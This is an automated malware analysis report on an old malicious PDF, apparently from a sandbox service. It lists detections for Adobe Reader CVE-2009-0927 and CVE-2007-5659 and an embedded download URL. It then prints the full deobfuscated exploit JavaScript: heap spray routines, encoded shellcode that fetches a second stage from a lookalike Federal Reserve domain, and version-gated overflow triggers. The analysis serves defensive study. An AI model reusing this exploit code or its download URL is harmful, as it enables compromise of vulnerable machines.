Malicious PDF — malware analysis report

Static analysis result for SHA-256 381f864a41f09f75…

MALICIOUS

PDF

6.0 KB Created: 2008-09-24 19:47:56 Authoring application: Adobe First seen: 2013-08-20
MD5: ee6b1f898c6012d4057b46b8ed278f21 SHA-1: 8c26c883701dd664f3e4c86a30c301a31e382ad6 SHA-256: 381f864a41f09f75d859536445cc380fe2544532927f01e19bbb3d97defb67e9
450 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1204.002 Malicious File

This PDF file contains embedded JavaScript that exploits CVE-2009-0927 (Collab.getIcon) and CVE-2007-5659 (Collab.collectEmailInfo). The JavaScript is obfuscated and likely designed to download and execute a secondary payload, as indicated by the ClamAV detection of Pdf.Dropper.Agent-1828700 and the presence of a deobfuscated JavaScript file named legacy_pdfkit_stage_000.js. The attack pattern involves leveraging these known PDF vulnerabilities to achieve arbitrary code execution.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9999

Heuristics 10

  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • ClamAV: Pdf.Dropper.Agent-1828700 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Pdf.Dropper.Agent-1828700
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL
    Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://ny-federalreservebank.com/mm/load.php?spl=pdf_exp Referenced by PDF JavaScript

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0006_000.js pdf-javascript-stream PDF /JS object 6 at offset 0x1406 136 bytes
SHA-256: 06729b2e6929bb3534cd5a9b41fb31c09bcc1038c332fc2b101e8302790a2569
Preview script
First 1,000 lines of the extracted script
var xJRk2UgAcWJqh7a3 = "";
ySwDxdNZ0hPqn1tk = this.info.producer;
var xp = unescape;
var ycfQIvPjMmUBeVOq = "%";
var xpp = eval;
javascript_obj0016_001.js pdf-javascript-stream PDF /JS object 16 at offset 0x14D3 170 bytes
SHA-256: bac489a489c3f0458ca365d9571cdef8ff59a5bd2baba911750ac708d8464284
Preview script
First 1,000 lines of the extracted script
xJRk2UgAcWJqh7a3 = ySwDxdNZ0hPqn1tk.replace(/4563234 d 2342342 a 2343 b 342/g,ycfQIvPjMmUBeVOq);
var JxjuSgGyQQMkps2C = xp(xJRk2UgAcWJqh7a3);
xpp(JxjuSgGyQQMkps2C);
legacy_pdfkit_stage_000.js deobfuscated-js repeated-marker hex decoded JavaScript at offset 0x1E7 4949 bytes
SHA-256: f15fc9701fbe9ffeda0f3214898d47d2987d39ffad6cc912fac2cade6be3a65b
Detection
ClamAV: Js.Exploit.Shellcode-18
Obfuscation or payload: likely
Carved artifact contains 9 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
function fix_it(yarsp,len){while(yarsp.length*2<len){yarsp+=yarsp;}yarsp=yarsp.substring(0,len/2);return yarsp;}  function util_printf(){var payload=unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u6E2F%u2D79%u6566%u6564%u6172%u726C%u7365%u7265%u6576%u6162%u6B6E%u632E%u6D6F%u6D2F%u2F6D%u6F6C%u6461%u702E%u7068%u733F%u6C70%u703D%u6664%u655F%u7078");var nop=unescape("%u0A0A%u0A0A%u0A0A%u0A0A");  var heapblock=nop+payload;var bigblock=unescape("%u0A0A%u0A0A");var headersize=20;var spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;}  var fillblock=bigblock.substring(0,spray);var block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;}  var mem_array=new Array();for(var i=0;i<1400;i++){mem_array[i]=block+heapblock;}  var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("E000f",num);}  function collab_email(){var shellcode=unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u6E2F%u2D79%u6566%u6564%u6172%u726C%u7365%u7265%u6576%u6162%u6B6E%u632E%u6D6F%u6D2F%u2F6D%u6F6C%u6461%u702E%u7068%u733F%u6C70%u703D%u6664%u655F%u7078");var mem_array=new Array();var cc=0x0c0c0c0c;var addr=0x400000;var sc_len=shellcode.length*2;var len=addr-(sc_len+0x38);var yarsp=unescape("%u9090%u9090");yarsp=fix_it(yarsp,len);var count2=(cc-0x400000)/addr;for(var count=0;count<count2;count++){mem_array[count]=yarsp+shellcode;}  var overflow=unescape("%u0c0c%u0c0c");while(overflow.length<44952){overflow+=overflow;}  this.collabStore=Collab.collectEmailInfo({subj:"",msg:overflow});}  function collab_geticon(){if(app.doc.Collab.getIcon){var arry=new Array();var vvpethya=unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u6E2F%u2D79%u6566%u6564%u6172%u726C%u7365%u7265%u6576%u6162%u6B6E%u632E%u6D6F%u6D2F%u2F6D%u6F6C%u6461%u702E%u7068%u733F%u6C70%u703D%u6664%u655F%u7078");var hWq500CN=vvpethya.length*2;var len=0x400000-(hWq500CN+0x38);var yarsp=unescape("%u9090%u9090");yarsp=fix_it(yarsp,len);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+vvpethya;}  var tUMhNbGw=unescape("	");while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;}  tUMhNbGw="N."+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}}  function PPPDDDFF(){var version=app.viewerVersion.toString();version=version.replace(/\D/g,'');var varsion_array=new Array(version.charAt(0),version.charAt(1),version.charAt(2));if((varsion_array[0]==8)&&(varsion_array[1]==0)||(varsion_array[1]==1&&varsion_array[2]<3)){util_printf();}  if((varsion_array[0]<8)||(varsion_array[0]==8&&varsion_array[1]<2&&varsion_array[2]<2)){collab_email();}  if((varsion_array[0]<9)||(varsion_array[0]==9&&varsion_array[1]<1)){collab_geticon();}}  PPPDDDFF();